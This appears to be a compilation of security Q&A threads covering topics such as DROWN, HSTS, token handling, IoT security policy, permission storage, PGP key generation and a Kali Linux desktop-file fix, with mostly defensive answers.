What if I were to only store/show the cleartext data in one and the same object that is overwritten with the new data when opening another item?

After opening both 'test' and 'test2' the passwords of both would be readable in the heapdump

This should be a comment, but its a bit long.

  "automatically" freed when they are not used anymore

Freed does not mean removed from memory, only that the data is eligible for garbage collection. They are inaccessible from Javascript but will likely persist in memory for some time.

  the passwords of every opened item were clearly readable

What do you mean by "opened item" - if its a site you are were accesing around the time of the snapshot (bearing in mind that HTTP is stateless) this rather implies the data was in use.

  I'd like to know if there is a way to prevent this behaviour

Do you intend writing your own password manager? Are you asking if 1password can be reconfigured to behave differently?


Verifying Security of a Custom Network Protocol I’ve designed a custom network protocol using high-level LibSodium primitives for authentication and encryption. The purpose of the protocol is for a game, and the security is to ensure only paid players can connect and play. I’m offloading initial authentication to a webserver over HTTPS, so my protocol is merely transferring the client from the HTTPS connection with the webserver to a connection on a backend dedicated game server. It is important to ensure only authenticated clients are in the game servers to save money on server runtime costs. No sensitive personal data is ever touched or seen by the client or dedicated servers — the only risk is server runtime.

I’m now at the point of looking for a way to verify the security of the design. I’ve done my best to research many kinds of attacks, such as DoS, MitM, replay, reflection, and ip spoofing attacks.

What kind of steps would you recommend, beyond self-study and self-verification? The protocol is fairly simple, but perhaps a little too long to post here directly.

Here were some pragmatic ideas I had:

Visit local university to find security professors who are interested in answering questions.
I work at Microsoft - I could potentially look to make friends with security engineers here.
Third party security audit - I have no idea if these are respectable or even affordable.
Simply release the game in the wild - I have low-risk in the event of security compromises, and can potentially patch vulnerabilities whenever they are detected from actual attackers.

How would you go about verifying the design of a custom protocol with similar use-cases?

As with everything, you engage the control that is proportionate to the risk. We can't really advise on the appropriate control without understanding more about the risks.

These are a few processes that are commonly used:

3rd party review (be it professors, friends, or paid reviewers)
threat modelling/vulnerability modelling (standard frameworks exist for this)
researching similar protocols to see what threats/vulnerabilities they identified and how they countered them in their design
agile, reactionary design ("just putting it in the hands of users")

The last point is a valid option, but you have to employ it in such a way that respects the risks/costs involved. Will you be reactive enough to mitigate problems? In the worst case scenario, what are the potential impacts? Will you be able to identify problems or will vulnerabilities be exploited "under the radar"? You also have to be aware of any ancillary impacts that you might not be accounting for, like the impacts to user's private data, etc.

And all that said, the same considerations apply to all the other points. If you miss something in a review, modelling, or research, what will the impacts be? If you are comfortable with those impacts, then use those controls. If you are not comfortable with those impacts, then you need to use the control that provides better assurance that your risks are known and properly treated.


DROWN vulnerability on root domain affect subdomains? I maintain a departmental server hosted on a subdomain of my organizational network, as in department.example.com.

Both example.com and department.example.com use HTTPS, but run on completely different machines, use a different Certificate Authority, and use different key pairs.

department.example.com (the server which I am over) does not support SSLv2 or SSLv3; it only support TLSv1.0 and above. The version of OpenSSL on this machine is completely up to date.

However, the example.com subdomain supports SSLv2, and uses a wildcard *.example.com certificate. It uses an out of date version of OpenSSL.

When I ran my website through the DROWN attack vulnerability checker at https://drownattack.com/#check, it still told me that my website was vulnerable (to a man in the middle attack if I read it correctly). If the server key pairs on my subdomain department.example.com are completely separate from the example.com's key pair, my version of OpenSSL is up to date, and I don't support SSLv2, how could I still be vulnerable to the DROWN attack?

Can a "secured" subdomain be vulnerable because of the bad management of the example.com server? If so, how does this work?

A not properly configured server can actually make you vulnerable to DROWN, let me show you how. As illustrated in DROWN's original website in order to be vulnerable, one of these 2 conditions has to be met:

  The server allows SSLv2 connections. This is surprisingly common, due to misconfiguration and inappropriate default settings. Our
  measurements show that 17% of HTTPS servers still allow SSLv2
  connections.

  Or
  Its private key is used on any other server that allows SSLv2 connections, even for another protocol. Many companies reuse the same
  certificate and key on their web and email servers, for instance. In
  this case, if the email server supports SSLv2 and the web server does
  not, an attacker can take advantage of the email server to break TLS
  connections to the web server. When taking key reuse into account, an
  additional 16% of HTTPS servers are vulnerable, putting 33% of HTTPS
  servers at risk.

The second case (the one on the right) is of our interest here. example.com or one of its subdomains support SSLv2 and your server at department.example.com happens to use the same SSL Certificate (which means its using the same public/private key pair). Even if your server only supports TLS protocol and not SSL, the attacker can abuse the one subdomain that uses SSLv2 to do the DROWN attack and decrypt your secure TLS session.

Mitigations

Get other servers which use the same certificate to apply secure configurations and disable old and insecure protocols (SSLv2).
If for any reason number 1 is impossible, get another single domain certificate with fresh keys for your own server on your subdomain. (This is an ugly patchy solution though)


How to handle user token expiration on long running asynchronous jobs? I want to know the recommended approach for having asynchronous back-end services that are secured through bearer tokens call each other?

I have an interactive web application that calls a back-end service passing an access token in the Authorization header. This back-end services starts an asynchronous job that then calls another back-end service, passing along the same access token. The problem arises when the access token has expired while the first job was processing.

Seems like one relatively straight forward approach would be to have the front end pass a refresh token to the back-end, which it can use to obtain a new access token.

Are there better approaches?

As always, you have more than one option and the right one depends on the exact scenario, but for example you could either:

Support the OAuth 2.0 client credentials grant in your authorization server so that your back-end services can request tokens on their own behalf without involving the user

(source: Client Credentials Grant)
Support a token exchange mechanism that would allow for a back-end service to exchange the received access token with another one that could allow to call other services using either user impersonation or delegation.

In scenario 1, given that the services could request token whenever required the expiration thing would be a non-issue.

For scenario 2, since the tokens were being issued to back-end services that you trust and would never leave the server-side boundary the lifetime of the token obtained could be much larger than the one used in the access token available to the web application which would also solve your expiration issue.

Also have in mind that scenario 1 would require your services to have the ability to be called either with a user associated token or with a service associated token so this could require some additional logic.

In relation to the refresh token approach, refresh tokens are not usually issued to browse-based applications due to the increased risks of leaks.


Connecting to company VPN with my own PC - what can they see? I recently started working from home a few days a week, and currently use my home PC to connect to the Company network. I use Citrix receiver to connect to my Company network then remote into my desktop at work.

I understand that whatever I do inside the Citrix receiver window they can see, not a problem with that. But what about what I'm doing on my PC outside the Citrix window? Can they see that I have Netflix open and what web pages I'm viewing?

Apologies for creating a new post but all of the one's I seen were where the OP was using a company provided device, this is my home device and only connected via Citrix receiver.

It depends on the VPN used and I have never used Citrix. But AFAIK, VPN solutions commonly configure the network in a way that the machine is seen as local to the remote end of the VPN. That means that once connected to the VPN, all your network exchanges go through the VPN connection. Any other way would open an uncontrolled gateway between the internal network and the global internet.

All corporate VPN solutions I have used were that way: once connected, all network traffic goes through the VPN.

That means that your company should not know what files exists on your computer and for privacy reasons should not even try to know. But if you connect to Netflix once the VPN is on, it is likely that both the requests and responses pass through the VPN and the corporate proxy to internet. You should control what routes exists on your machine when connected to the VPN to confirm it, normally the command netstat -r can be used to show that.

Of course encrypted exchanges should normally not be decodable, but network admin generally abhor netflix requests through their network...


What are the security implications of 'open-source' vs. 'source-available'? In light of the current fiasco surrounding TrueCrypt, I have received considerable criticism from current clients and peers in the IT industry for my continued support of the open-source model. Such criticism is usually lumped in with ongoing dialogue on the virtues and failures of the open-source model following episodes such as heartbleed. I have attempted to point out that in spite of many news articles labeling TrueCrypt as open-source, the source-available label found on Wikipedia is more correct.

It conjunction with that distinction, I have argued that having the source code available for review is inherently more secure than not, but that it should not suggest the same level of trust as a project that follows an open-source development model including allowing redistribution of modified work. While my gut tells me this is a reasonable position to take, the difference is subtle and my ability to communicate it convincingly is limited.

Are there more concrete evaluations to go on than just my gut here? Is there a measurable difference in the relative security of source-available applications vs true open-source counterparts? If so, is it well established what factors exactly contribute to this? What about the OS development model specifically results in more secure code than just releasing code for review? Or does this boil down to opinion in the end?

Edit: does it make any difference whether the specific software in question is cryptography related?

Source-available (SA) differs from true open-source (OS) that there is no right to fork. That means when a security flaw in a SA software gets known and the developers refuse to fix it (which doesn't have to be out of bad intentions - it could just be lack of resources), users do not have the option to fork the project and continue the project under a new name with a new team.

However, should a flaw in a SA project be discovered and made public, continuous refusal to fix would hurt the reputation of a SA project badly and drive users away from it.

Some OS proponents claim that the ability of everyone to offer a patch for a OS project results in faster bugfixes. However, this only applies to a part of OS projects: Those which follow the Bazaar development model and not the Cathedral model. There are many OS projects which do not accept unsolicited contributions from 3rd parties. A bugfix could still be offered independently so users can apply it manually, but that's a maintenance overhead many administrators and users shy away from.

And forking a project because of a single issue is usually more trouble than its worth. I witnessed several forks of open source projects as part of either side of the fork. The result was always that it hurt the overall progress of both forks because development resources got diluted, infrastructure and management structures had to be duplicated and users got confused. Trying to hold a project together despite any conflicts usually pays off.


How might my browser session be hijacked on iOS Safari? I'm currently on iOS using Safari, and my browser session was just hijacked. Ive never seen any hint of malware on iOS, so I'm going to assume the hijacking occured (consistently happens when visiting Rotten Tomatoes, and no other site) via the web page. Is it likely that such a monster site could be hacked? Maybe I'm wrong and its an iOS security issue?

I visit Rotten Tomatoes, scroll (no links clicked) and my page location changes but sometimes before the content of RT dissapears, I get a browser alert popup. The URL has changed, but the Fandango website hasnt yet dissapeared - this in itself seems like a security issue.

Can anyone explain where the security failure could be? Is my device compromised (It's never been jailbroken or unlocked)? Is this a browser security failure? A W3C issue? Rotten Tomatoes hacked?

I'd just like to figure out what aspect of security on my phone has a jole it in. Once I visit Rotten Tomatoes on the phone, the scam page traps me. The only way to get out is to close the tab, otherwise popups continue to appear.

This looks like a rather insidious ad which Rotten Tomatoes happens to have on their site. I've seen several other sites where they redirect me to a URL which then opens the App Store and I can't get back to the original site... Because of the sand boxing of iOS apps and because you have not jail broken your device, I have no reason to suspect malware in your device.


Are document signature services violating any rule by exposing PII over clear email? A company sent me a document to sign via CudaSign, I did.

As soon as I completed the transaction, I got a PDF over email with the document attached. The document includes my SSN. I assume, the originator also got the document via PDF attachment.

Isn't sending a PDF with SSN via email clearly insecure, and shouldn't this practice be stopped? Aren't the end users (me in this case) exposed? Is there any recommended action?

To clarify:

The PDF is sent automatically by the service provider in this case as a "confirmation" step. Not by the originator or the party signing the document.

A document signing service does not process the data contained within the document it is signing. Theoretically, the signing service is completely unaware of the content. All it does is process the metadata as a whole in order to provide service.

From this perspective, the fact that a certain document contains PII is not within their control, and therefore they have not broken any rules or regulations. It is up to the customer who chose the service, and hence the process, to make sure that the process is appropriate for the data being processed.

As you can guess, there is then a lot of "buck passing" for responsibility, but you should inform the one who chose the service about the impact of their choice.


My local certificates may have been compromised. What to do now? My hard drive was accessed by an attacker. I'm concern that my root certificates might have been compromised or a rogue certificate was installed to perform MiTM attacks against my SSL connections through my router or ISP. Reviewing my event logs, it looks like a certificate was installed/updated when I was away from my computer (It was in sleep mode). Should I delete all of the certificates and regenerate them? Is this possible or necessary?

Also, are there any signs that data recovery might have been performed on a hard drive? I noticed many of my system files have modified times that can't be explained because I was away from my computer at those times. I ran a malware and rootkit scan and everything appears to be fine. Firewall also appears to be fine.

If you think an attacker has had unauthorised access to your system, the only way to be sure that you've removed the infection is to rebuild the system completely from trusted media.

Whilst you may have seen an event log entry relating to certificates there's no way to know whether other changes have been made which are not in your logs.


How do self-contained executable program exploits work, when considering virtual memory? My understanding of virtual memory is that the operating system allows each process to have access to the entire pool of memory, and creates this illusion by paging.

As a consequence, a program can only see it's own memory, and can not see the real system memory, and certainly not the memory space of other applications.

How do exploits such as buffer overflows work (when there is no input to the program), if they can't see outside of their own memory?

I'm talking about the type of exploits that you compile and that result in an executable that exploits a daemon (and not by passing specially crafted input through human input fields).

A buffer overflow is a type of vulnerability not an exploit.  It will overflow into the virtual memory of the process that is executing it.

"One process cannot access another process' memory".  This is entirely Operating System dependent.  In Windows/Linux/Android this is a true statement.  There are lots of access controls in place to prevent a process from tampering with memory it shouldn't need access to.  However, lots of embedded systems will allow any process to write to any portion of memory.

A daemon is a service that can be triggered by an external probe.  If there is a vulnerability in a daemon then the malicious binary can simply spoof a probe that will trigger the vulnerability.  Hard-coded buffers can be used to trigger it while hard-coded shell code is used to exploit the vulnerability.  If the daemon is exploited then the shell code is run in order to gain execution.  The daemon is no longer in control of the code it is running; the malicious input buffer is now in control.  And since the daemon processed the input data, the malicious input buffer is running within the context of the daemon process.

Why would a malicious binary exploit a service?  Generally it would be to gain higher level privileges.  The malicious binary might be able to run at low level privileges, and then through the service gain administrative privileges.  This can be used to ensure that it persists across reboots or attempts to evade Personal Security Programs.


Force a user to HTTPS So I recently got my webserver to support HTTPS using the EFF's certbot

Currently, if you navigate to DotNetRussell.com or www.DotNetRussell.com, the browser will use HTTP by default.

How do you force a user to use HTTPS?

My server is a Raspberry Pi running the latest distro, and a LAMP stack that has been recently updated. The LAMP stack is running an updated wordpress site.

You should configure your web server, so that any HTTP requests result in an HTTP 301 redirect to the HTTPS equivalent URL.

However, this is still subject to MITM. For example, if an SSL Strip server can intercept the HTTP requests, then it could speak to your server in HTTPS, but the user is using insecure HTTP on their end

To prevent SSL Strip or similar MITM attacks, you should implement HSTS. This way, if the user connects one time to your site correctly (either with an untampered connection, or to an HTTPS url for your site), then the browser will automatically remember that all HTTP urls should be converted to HTTPS before attempting to connect to your site.
Note: Once this happens, the only way to get the browser to stop using HTTPS will be to clear browser cache, so do not implement HSTS if you expect to discontinue HTTPS for this site.

I do not know how to specifically acheive these on your particular webserver. I'm sure the Stack Overflow or Server Fault folks could help you.

Once HSTS is implemented, ideally you should get your HSTS domain pre-loaded in major browsers. This way, even if a user has never visited your site before, they will benefit from HSTS, even if their first visit is on an SSLStrip or other bad-guy network.


Forcing EAP-TLS 1.2 authentication with FreeRadius and OpenSSL Been working with TLS DHECE certificate based handshake with a FreeRADIUS server and WPA_supplicant - both running OpenSSL 1.0.1j FIPS.

Afer watching the Wireshark traffic, I notice that the client sends a Client Hello using TLS 1.0. I beleive that the ECC certificates have an issue with OpenSSL / TLS 1.0.

I have tested s_client and s_server with the same certificates using TLS 1.2 and it was SUCCESSFUL.

I cannot seem to figure out how to change the TLS version from 1.0 -> TLS 1.2 on the client hello message.  Perhaps, because TLS 1.0 doesn't support ECC ciphers there could be an issue?  However, it SHOULD force a TLS 1.2 because the new version of SSL supports it and the ciphers.

In addition, the handshake fails with a "SSLv3_GET_CLIENT_HELLO Fatal HandShake Error" during the first step of the TLS 1.0 handshake.

Any thoughts on the matter?

At most a partial answer but too much for reasonable comments.

ECDHE does NOT require TLS1.2, only 1.0 as I said in the comment. I used it often in openssl 1.0.0 which doesn't even implement 1.2, and still test fine by specifying 1.0 in current openssl or using non-bleeding java (j7 can do 1.1 and 1.2 but defaults to 1.0). In fact openssl actually supports ECDHE (and other ECC features) on SSL3, which the RFC does not call for so it works for openssl-to-openssl but not necessarily with other implementations; but there is no good reason to use that when more robust TLS1.0 is available. The only cipher features that require TLS1.2 are AEAD (in openssl GCM) and SHA2. If your app(s) is requiring say ECDHE-ECDSA-AES128-SHA256 but not ECDHE-ECDSA-AES128-SHA, that would fail on 1.0. What ciphers are offered in your ClientHello? Some googling finds http://w1.fi/wpa_supplicant/devel/tls__openssl_8c.html which suggests at least the possibility to specify the list of ciphers as of 2012, but I didn't see any doc on if and how a user controls this.

Which reminds me: are you looking at the correct version in ClientHello? There are two versions: record layer and handshake. OpenSSL uses "Record Layer" version 0301 (TLS1.0) for ClientHello to offer a range of protocols, to ensure a peer that implements only an older version will "negotiate down" correctly; it is the version under "Handshake Protocol: Client Hello" that specifies the offered version. And you still didn't say what the response is in Wireshark: is there an alert and with what code, or something else, or what?

That said, you may want TLS1.2 for its other benefits or just futureproofing. Among the protocols that openssl implements, the ones it offers for a client or accepts for a server are controlled by calls the respective client or server application code makes. The starting point for an SSL_CTX are "methods" for a specific protocol like SSLv3_*method or TLSv1_2_*method, or the "generic" SSLv23_*method (a legacy name that is now misleading and may be changed in a future openssl version) followed by SSL_[CTX_]set_options with (among others) SSL_OP_NO_(protocol) bits.

Assuming per above your ClientHello is record version 0301 AND handshake version 0301, meaning TLS1.0 only, it might well be that wpa_supplicant was coded to do specifically TLSv1_*method. This could have made sense ten years ago when TLS1(.0) was the best available, and there were issues with SSLv2 being attackable and SSLv3 being unacceptable for USgovt use (though then actually safe) so someone might reasonably have felt "we'll protect those @#? users from making a mistake and doing something insecure by forcing TLS1". If so, the passage of time has made this thinking wrong.


How should permissions be stored? In a system where users have multiple permissions that may overlap (i.e. "Write" might not include "Read" etc.) what is the best way to keep them in the database? Both in terms of security and "readability" (when I want to know if someone has a certain permission)

The standard method is a Discretionary Access Control List (DACL). Such a structure maps entities (e.g. users, user groups, etc.) to resources (e.g. files, mutexes, sockets, etc.) with a defined set of permission attributes placed on each link.

For example, the following represents a simple read/write DACL:

Resource        | Entity   | R | W |
----------------+----------+---+---+
/foo/bar        | Alice    | 1 | 0 |
/foo/bar        | Bob      | 1 | 1 |
/bar/foo        | Eve      | 1 | 1 |
/log            | Everyone | 0 | 1 |
/log            | Alice    | 1 | 1 |

In this case, Alice has read access to /foo/bar and Bob has read/write access to /foo/bar, whereas Eve has no access to /foo/bar because she has no entry in the DACL table. Only Eve has access to /bar/foo.

The interesting case is when we look at the /log resource, which the Everyone group has write-only access to. Since Alice is in the Everyone group, we would imagine that she shouldn't need an entry, but her entry actually overrides the group setting. At this point, we've build a hierarchical DACL, which allows us to inherit permissions and provide specific overriding behaviours lower in the hierarchy.

Such a model provides extremely flexible permissions and can be implemented in a variety of different data storage systems, e.g. filesystem, RDBMS, key-value storage engine, etc.

Of course, the example above doesn't directly translate to a relational database table, because of the ambiguity between user groups and users. This can be resolved by using a security identifier (SID), which uniquely identifies any entity. I'd probably implement it something like this:

TABLE resource_dacl
  resource_id        INTEGER NOT_NULL
  security_id        INTEGER NULL
  perm_read          TINYINT(1) DEFAULT 0 // permission to read the resource
  perm_write         TINYINT(1) DEFAULT 0 // permission to write to the resource
  perm_delete        TINYINT(1) DEFAULT 0 // permission to delete the resource
  perm_acl           TINYINT(1) DEFAULT 0 // permission to change the resource's ACL
  ...
PRIMARY_KEY ( resource_id, security_id )

The security_id should be unique for each entity, and would be stored within the user and user group tables.

This allows you to easily query for permissions in SQL using a JOIN with WHERE EXISTS, resulting in a single value from the database, containing a 1 or 0 to signify whether the required permission(s) are set.


What should be in top-down IoT Security Policy for companies engineering products to market? You are a company creating consumer-facing IoT Devices, What things should go in a  IoT product/data security policy?

Initial thoughts: Privacy, Control Gates, cryptography, vulnerability/decision trees for quality planning, etc

How to build a secure IoT device

IoT devices cover a wide range of functions, from Smart Meters to Web Cams. This includes very simple devices, such as smart light bulbs, and more complex ones, like voice control hubs.

Convenience is important when setting up IoT devices. Most consumers opt for simpler setup processed like "WPS Push Button". This is probably not a big problem as attackers need physical proximity at a specific time.

Network Security

There are three main network security models for IoT devices:

Local automation hub
Connect to manufacturer
Provide a listening service

Local automation hub

The device makes a connection over a local network to an automation hub. Typically, a device will pair with the first hub it finds. There is a small window of vulnerability, but after that communication is encrypted. Sensitive systems may need more secure key distribution. Once connected, devices usually fully trust the hub.

Connect to manufacturer

The device makes a connection over the Internet to the manufacturer. To do this securely, there should be a certificate hardcoded on the device that validates an SSL connection. Once connected, devices usually fully trust the manufacturer.

This relies on the provider to keep their service secure and available. Some consumers dislike the requirement to trust a third party. This arrangement tends to be secure, but is only suitable for some devices, e.g. smart meters.

There needs to be a secure process to associate a user's online account with the manufacturer, with their device. Failure to do this results in vulnerabilities like this Nissan Leaf vulnerability.

Provide a listening service

The device listens on a port, typically providing a web server. The user can expose this to the Internet using port forwarding; the device may automatically expose it using UPnP.

Authentication is essential; normally this is done with a password. There are three approaches to setting the initial password:

Default password, same on every device. This is very risky, results in many compromises, and is not recommended.
Random password, unique on each device. The password can be printed on a sticker attached to the device.
User sets initial password during install. This leaves a small exposure before a password is set.

Many users want to change the password to something memorable. This creates many risks - users tend to pick bad passwords and re-use passwords many times. To mitigate this, there must be: a password strength policy, a lockout policy, and passwords must be stored hashed, with a salted, computationally expensive hash.

Secure development

IoT software must be coded carefully to avoid exploitable vulnerabilities, such as command injection, which have been prevalent in IoT devices. Embedded systems are a challenge as there is limited memory. Many routers run BusyBox and have Bash scripts acting as CGI scripts. This is risky as it's very easy to accidentally introduce command injection flaws. Consider using a different embedded system, such as LUA.

The device should require authentication for all requests. This greatly reduces the attack surface. For example, this Netgear vulnerability would have been much less serious if only authenticated users could exploit it. Thorough CSRF protection is also required, or external web sites can send cross-domain requests through a logged-on user's browser.

All network connections should be encrypted. Use SSL with only modern protocols and ciphers enabled. There are several good embedded SSL libraries, such as Tiny SSL. IoT devices typically have a self-signed certificate. This is acceptable, as long as the certificate is unique on each device.

Most devices use a lot of C code, which could be vulnerable to memory corruption flaws. Enable all the anti-exploitation features available (stack guard, DEP, ASLR, etc.)

You need to audit your code for bugs. This should include both static analysis (code review) and dynamic analysis (pen testing and fuzzing).

Physical security

Most IoT devices don't defend against physically local attackers. Those that do (e.g. smart meters) can take basic precautions like disabling the JTag interface to make attack much harder. More advanced anti-tamper precautions are possible.

Software Updates

Most devices should have an auto-update system that is enabled by default. The device must only accept signed updates, and there needs to be protection against downgrade attacks.

Logging

Logging poses a privacy risk, especially in devices with microphones. We need to weigh the usefulness of logs to the user against the privacy risks. In most cases IoT devices should keep limited logs. One useful log: listening services should log all connection attempts - with successful and unsuccessful authentication.


Criteria for Selecting an online PGP Generator When generating Public/Private keys to encrypt email:  Is there a line of thinking or reasoning to select one online key generator over the other?

Any suggestions or edits that will sharpen the question are appreciated.  Thank you.

UPDATE

The thoughtful response consensus indicates that one must be able to trust the online generator and that it will not purposely generate a weak key or record the output and forward it to malicious actor.

The purpose of the encryption is to protect financial information and patent drafts.  Wondering if comodo is trustworthy? (maybe this should be a separate question)

https://www.comodo.com/home/email-security/free-email-certificate.php

The correct line of reasoning is DON'T. There are simply too many issues.

It could generate it using JavaScript and not send it to the server, but the JavaScript is sent by the server, and so could change at any time (and even for specific targeted users).

It could generate it using a good CSPRNG, but again, this can be changed to use a backdoored or weak PRNG at any time for any or all users. In this case there wouldn't be any network requests for you to notice, but your key would be easily breakable.

It could be using a CSPRNG seeded by the system, but it could at any time be changed to use a CSPRNG seeded with a random value known to the malicious website, in which case the key won't be weak but it will be known to the website anyway.

Only generate keys with software that you trust. Since JavaScript is sent by the website every time you visit it, you have to trust that the website was not compromised, is not malicious, and that the developers and maintainers are competent every time you visit it. It would be preferable to generate keys with a signed release of well known and widely trusted software such as GPG.


Best way to prevent phishing by turning off HTML links phishing attacks are very common nowadays. Innocent victims click on suspicious links in emails and get infected. I know that to prevent phishing, one of the ways is to educate users on the proper usage of emails and preventive measures. However, my opinion is why not totally strip html links in email messages at the exchange/mail server such that no one has the chance to click on any links ? Modern email servers are able to do this type of filtering. However, i am not sure what are the implications to users. Have you done this before and what obstacles have you faced? thanks

Of course you could strip all the html links off your e-mails centrally. If you try this, you're likely to get hit by a mass of users complaining about non-working links. You could also just revert html e-mail to text-only in that way images would not get loaded, and all links are visible directly to the user. Bear in mind one of the classic phishing education points is to copy a link to the browser's address bar and see if it appears to be correct. This could be done directly in the mail without having the risk that a user accidentally sends the HTTP request when a malicious URL is copied in the address bar.

Nevertheless, in both "solutions" you will reduce the usability of your e-mail system to increase security. This is the classic trade off. While I agree that sometimes this must be done, I think you will not win with your personnel if you do this. You likely end up annoying more users and result in a less secure environment because people will start to overhear you. In my presented solution (no html mail) the user could still browse to the URL, and based on my experience they will. It's the same as Windows UAC where everyone clicks yes anyway.

Your solution, if I don't mistake it will strip all URLs hence no user could deliberately copy the link and browse to the site. However - and this is where people will start to hate you - not all links are harmful and there is quite often a reason to send a link. Your solution prevents this and people will have to find a way around it. At the end you made the mistake and instead of being a business enabler (god I hate this term), you are blocking business's from working.

So with phishing I would suggest regular education and awareness programms. I know they are not bullet-proof. We all have done it and later run a test case where still people clicked on the links. That's how some of the people are wired and for some it helps to get back to them personally, for others it doesn't (my example the CEO of the client...).


Is it secure to use bcrypt-generated salt in cookie to serve as token in place of a password? I have a (hobby) web site that runs only on SSL. The site does not deal with finances, social security numbers, or anything of that level of importance. However, I'd like to secure it as much as reasonably possible. Cookies are marked secure and httponly. Passwords are stored on the server-side using bcrypt.

I'm trying to implement "remember me" for those users who want to use it. Perusing this site, I know you don't want to store a password in a cookie; rather, you want to store a "token" which allows for non-critical use, but then prompt for the actual password for critical actions (e.g., changing the password).

Rather than randomly generating a token, then creating some database (or other method) of matching, is it too insecure to use the randomly generated salt from bcrypt as the token in the cookie?

The advantages are:

Generated when hashing the password, so no additional cost or code
Stored with password, so can find and match as necessary
Unique

The disadvantages may be:

Token does not change from session to session

If the cookie is somehow stolen, it allows only non-critical access to the site. That is, it doesn't reveal the actual password, the password can't be changed, the email associated with the account can't be changed.

Am I overlooking anything serious in the above scheme?

My two cents, you are not overlooking anything. Your scheme is correct. But do mind that what you are doing is not secure. The session id should be unique for every sessions. Why you may ask?

Well suggest an attacker is able to steal the cookie. Then he can log in as that user. Until the user logs out, because then the session id expires. However if your session id remains the same through all your sessions, the attacker will be able to keep logging in as the user, regardless of the user logging out or not.

In short this means, once an attacker has stolen a cookie, he will have a permanent key for that user's sessions (unless the user changes password). Do realize that this is considered a high risk. The impact of such an attack can be rather high.


What is the security benefit of Per-File Encryption key architecture? Are there any security benefits to having a different key(it is encrypted by a master key and that encrypted key is included in the metadata for the file) used to encrypt each file versus just one key that is the same for all?

Assuming the crypto is fairly well designed, there shouldn't be any real security benefits, but from an architectural point of view I suppose it does provide some flexibility for changing keys.

Is that right?

Are there any security benefits to having a different key(it is
  encrypted by a master key and that encrypted key is included in the
  metadata for the file) used to encrypt each file versus just one key
  that is the same for all?

Maybe I misunderstand, but if you encrypt all files with "the same [key] for all", then once that key gets disclosed, all your files are potentially endangered. That's the "drawback" of the system.

On the other hand if you use a different key for every file, this cannot happen.

By not using the key directly, but rather using the key to encrypt a random presumaby unique nonce, and using the nonce to encrypt/decrypt the file, you get the unrelated benefit of being able to change a file's access token without need to reencrypt it.

It is to be noted, though, that when the file has been decrypted at least once, the nonce is to be considered known. At that point, changing the access token only protects the file against someone who has never read the file:

Alice chooses a nonce ("ABCDEF"). Maybe she is even unaware of its value.
Alice encrypts the nonce with a password "FOO", obtaining "XWSQPR".
Alice encrypts a very large file with "ABCDEF".
<XWSQPR:FILEABCDEF> is the new encrypted file.

Eve receives "FOO" from Alice, decrypts "XWSQPR" obtaining "ABCDEF",
and uses "ABCDEF" to successfully decrypt the file.

Alice fears that Eve may misuse the file. She knows that Eve has not
had the time nor the storage space to copy the decrypted file anywhere.
So she changes the password to "BAR". "ABCDEF" encrypts now to "PHWIIN"
and <PHWIIN:FILEABCDEF> is the new encrypted file. Only the header has
been rewritten, so the operation is very fast.

Bob, not knowing "BAR", cannot decrypt "PHWIIN" and cannot read the file.

Eve, on the other hand, cannot decrypt "PHWIIN" either, but does not need
to; the body of "FILEABCDEF" is still decryptable using the "ABCDEF" nonce
which is known to her. As soon as she gains access to the encrypted file,
she will be able to decrypt it even if she may need a specific tool to do
so, not the standard encryption/decryption tool used by Alice and Bob.

Using the same nonce for all files, encrypted with different passwords, yields the worst of both worlds - once one access token is revealed, all files are disclosed, whatever their access tokens.


How do I securely exchange server logins with remote developers? I work for a virtual organization (we're all remote) that uses a lot of freelancers/subcontractors.

Very often I need to exchange SSH login information with developers working on projects for us. How do I do this securely?

Most of them know nothing about GPG / Public Key encryption, nor how to integrate GPG into their email clients. (I have a hard enough getting some of them to use version control properly, much less an alien encryption package.)

I could self-generate S/MIME certs and distribute to them, but if I'm not mistaken wouldn't this throw an error in most email clients?

EDIT: To clarify as per comments -> I need to hand off logins to other devs (username/password combos to allow them to SSH into a server.) Our passwords tend to be strong, such as %:(9h3LUPa&Zk which can be a little awkward to read over the phone.

Ask for their SSH public keys, and add those to the authorized_keys lists for the hosts they'll be logging in to. It's safe to disclose public keys so they can be distributed over non-confidential media such as email.


Kali linux in android I have installed Kali Linux successfully using Linux deploy. I get this error when I run the browser in VNC Viewer. Please help me.

Yes, using Linux Deploy on Android you have a lot of images to install. Kali is one of them. It installs also a SSH server and a VNC server to connect to your Linux.

In first instance you should update your system as normal using apt update && apt dist-upgrade and will see if error disappear. You can also check the file of your error. The error is saying that file has a bad "structure". Usually, files with ".desktop" extension are shortcuts and they should have this structure (I'll put an example of one of my desktop shortcuts):

[Desktop Entry]
Name=sqlninja
Encoding=UTF-8
Exec=sh -c "sqlninja;${SHELL:-bash}"
Icon=kali-sqlninja.png
StartupNotify=false
Terminal=true
Type=Application
Categories=04-database-assessment;
X-Kali-Package=sqlninja

Check it to know if your shortcut has the right structure or complete it if is not ok. You can delete it also if you are not using it and try to create it again.

A firefox (if it is your browser) shortcut has a little bit more complicated structure because of languages:

[Desktop Entry]
Name=Firefox ESR
Name[bg]=Firefox ESR
Name[ca]=Firefox ESR
Name[cs]=Firefox ESR
Name[es]=Firefox ESR
Name[fa]=Firefox ESR
Name[fi]=Firefox ESR
Name[fr]=Firefox ESR
Name[hu]=Firefox ESR
Name[it]=Firefox ESR
Name[ja]=Firefox ESR
Name[ko]=Firefox ESR
Name[nb]=Firefox ESR
Name[nl]=Firefox ESR
Name[nn]=Firefox ESR
Name[no]=Firefox ESR
Name[pl]=Firefox ESR
Name[pt]=Firefox ESR
Name[pt_BR]=Firefox ESR
Name[sk]=Firefox ESR
Name[sv]=Firefox ESR
Comment=Browse the World Wide Web
Comment[bg]=Сърфиране в Мрежата
Comment[ca]=Navegueu per el web
Comment[cs]=Prohlížení stránek World Wide Webu
Comment[de]=Im Internet surfen
Comment[el]=Περιηγηθείτε στον παγκόσμιο ιστό
Comment[es]=Navegue por la web
Comment[fi]=Selaa Internetin WWW-sivuja
Comment[fr]=Navigue sur Internet
Comment[hu]=A világháló böngészése
Comment[it]=Esplora il web
Comment[nb]=Surf på nettet
Comment[nl]=Verken het internet
Comment[nn]=Surf på nettet
Comment[no]=Surf på nettet
Comment[pl]=Przeglądanie stron WWW
Comment[pt]=Navegue na Internet
Comment[pt_BR]=Navegue na Internet
Comment[sk]=Prehliadanie internetu
Comment[sv]=Surfa på webben
GenericName=Web Browser
GenericName[bg]=Интернет браузър
GenericName[ca]=Navegador web
GenericName[de]=Webbrowser
GenericName[es]=Navegador web
GenericName[fi]=WWW-selain
GenericName[fr]=Navigateur Web
GenericName[hu]=Webböngésző
GenericName[it]=Browser Web
